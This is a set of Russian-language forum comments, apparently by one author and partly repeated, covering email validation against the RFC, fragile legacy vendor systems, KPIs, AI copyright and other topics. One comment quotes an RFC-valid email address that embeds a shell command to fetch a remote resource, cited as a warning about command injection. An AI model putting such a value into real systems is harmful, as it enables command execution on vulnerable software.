Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений. root@localhost — валидный имейл по RFC, но пропускать его вы не хотите почти никогда.
одно для логина другое - для отправки писем Проблема решена.
Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
шарящих ребят кривая валидация - это как красная тряпка
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Винить RFC в том, что твой древний баш-скрипт можно взломать
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Любые данные от юзера надо экранировать перед использованием. Всегда.
Давайте учиться читать:
когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Внедрите нормализацию. Перед проверкой уникальности и сохранением в БД приводите email к каноническому виду. Это решит проблему с дублированием аккаунтов.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Представим, что ваш сервис разрешил регистрацию на user+test1@gmail.com. Что произойдет, если тот же пользователь попытается зарегистрироваться на user+test2@gmail.com
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
это ваша упущенная прибыль или потерянный лид
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
`wget${ifs}r.vc/ghe`@ryanc.org
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Он данные не наизусть запоминает, а выдирает из них закономерности, и запоминает уже их.
Однако, чтобы заставить его не вставлять копирайты ID software в фукнцию быстрого поиска обратного квадратного корня, Microsoft пришлось руками дописывать фильтры для копайлота.
По этой причине всякий Альтман и так против раскрытия источников данных для обучающих выборок.
Да у всех этих AI-компаний вообще забавная позиция: когда они закопирайченные данные берут — это "обучение, мало чем отличающееся от человеческого. Вы же не запрещается художникам ходить в музеи?", но стоит какую-нибудь компании потюнить свою нейронку уже об их чат, как сразу поднимается визг убиваемой свиньи-копилки про нарушение интеллектуальных прав и даже национальную безопасность.
Фото из внутренней галереи телефона гуглофотографии невероятно настойчиво пытаются вытащить в облако. Стоит пропустить очередной запрос после обновления/смены телефона, как на гуглодиске все оказывается.
Локации, которые я хочу иметь в облаке, удаляют. У меня в картах были треки перемещений за 10+ лет, хотя сменилось полдюжины телефонов.
Каким образом следующий разработчик должен догадаться о существовании альтернативной версии? Даже с существующей историей смотреть на миллион версий назад — сложная задача.
История не всегда сохраняется. Я работаю над проектом, где в части файлов есть пометки о копирайте / задачах из начала 90-х и даже конца 80-х, но первый коммит в гите — 2019-й год с текстом "Import source code from the vendor". Если там что-то было раньше, то заглянуть в историю невозможно.
Всю историю культура не мешала, а потом что-то случилось:
1900-2020
Все слышали про демографический переход, но если взглянуть на последнее десятилетие, то рождаемость продолжает падать. Культура поменялась настолько за шесть лет, что фертильность рухнула в полтора раза?
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений.
root@localhost— валидный имейл по RFC, но пропускать его вы не хотите почти никогда.Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Давайте учиться читать:
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
На окладе 300-500 очень часто задачи — чистить Авгиевы конюшни, про которые писать-то стыдно.
Сам разгребаю сорокалетнее легаси, написанное реднеками-шизофрениками, за верх этой вилки.
Запрещено, но местами и дальше шли.
Когда я там работал, в моём проекте были вообще только хранимые процедуры на каждый селект.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
https://lleo.me/arhive/humor/maslo.shtml
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Сорс? Это один банкомат на 20 человек, включая младенцев и жителей стран третьего мира, что выглядит подозрительно.
Гугл мне подсказывает, что их примерно в 150 раз меньше, но, вероятно, он галлюцинирует.
tl;dr: регулярки в сишном движке быстрее любого кода, написанного на интерпретируемом недоязыке.
Скорее всего, даже не биткарта, а какой-нибудь трюк с avx512, чтобы сканировать 64 байта за такт. SIMDJSON это для парсинга JSON использует.
Действительно господский способ — это не за такси платить, а снять номер в отеле в соседнем здании от офиса, чтобы далеко не ходить.
Везде так.
Во вполне западном Accenture, зелёный выпускник — это senior analyst.
Однако, чтобы заставить его не вставлять копирайты ID software в фукнцию быстрого поиска обратного квадратного корня, Microsoft пришлось руками дописывать фильтры для копайлота.
Да у всех этих AI-компаний вообще забавная позиция: когда они закопирайченные данные берут — это "обучение, мало чем отличающееся от человеческого. Вы же не запрещается художникам ходить в музеи?", но стоит какую-нибудь компании потюнить свою нейронку уже об их чат, как сразу поднимается визг убиваемой свиньи-копилки про нарушение интеллектуальных прав и даже национальную безопасность.
Всё наоборот делают:
Фото из внутренней галереи телефона гуглофотографии невероятно настойчиво пытаются вытащить в облако. Стоит пропустить очередной запрос после обновления/смены телефона, как на гуглодиске все оказывается.
Локации, которые я хочу иметь в облаке, удаляют. У меня в картах были треки перемещений за 10+ лет, хотя сменилось полдюжины телефонов.
Про ЛГБТ Волож у себя в биографии не писал, а вот казахско-израильские корни — его личное изобретение:
https://istories.media/stories/2024/04/15/wiki-pravka/
Каким образом следующий разработчик должен догадаться о существовании альтернативной версии? Даже с существующей историей смотреть на миллион версий назад — сложная задача.
История не всегда сохраняется. Я работаю над проектом, где в части файлов есть пометки о копирайте / задачах из начала 90-х и даже конца 80-х, но первый коммит в гите — 2019-й год с текстом "Import source code from the vendor". Если там что-то было раньше, то заглянуть в историю невозможно.
Всю историю культура не мешала, а потом что-то случилось:
Все слышали про демографический переход, но если взглянуть на последнее десятилетие, то рождаемость продолжает падать. Культура поменялась настолько за шесть лет, что фертильность рухнула в полтора раза?
Для такого эффекта достаточно триммером за пять баксов пройтись перед зеркалом и это займёт меньше времени, чем поход в барбершоп.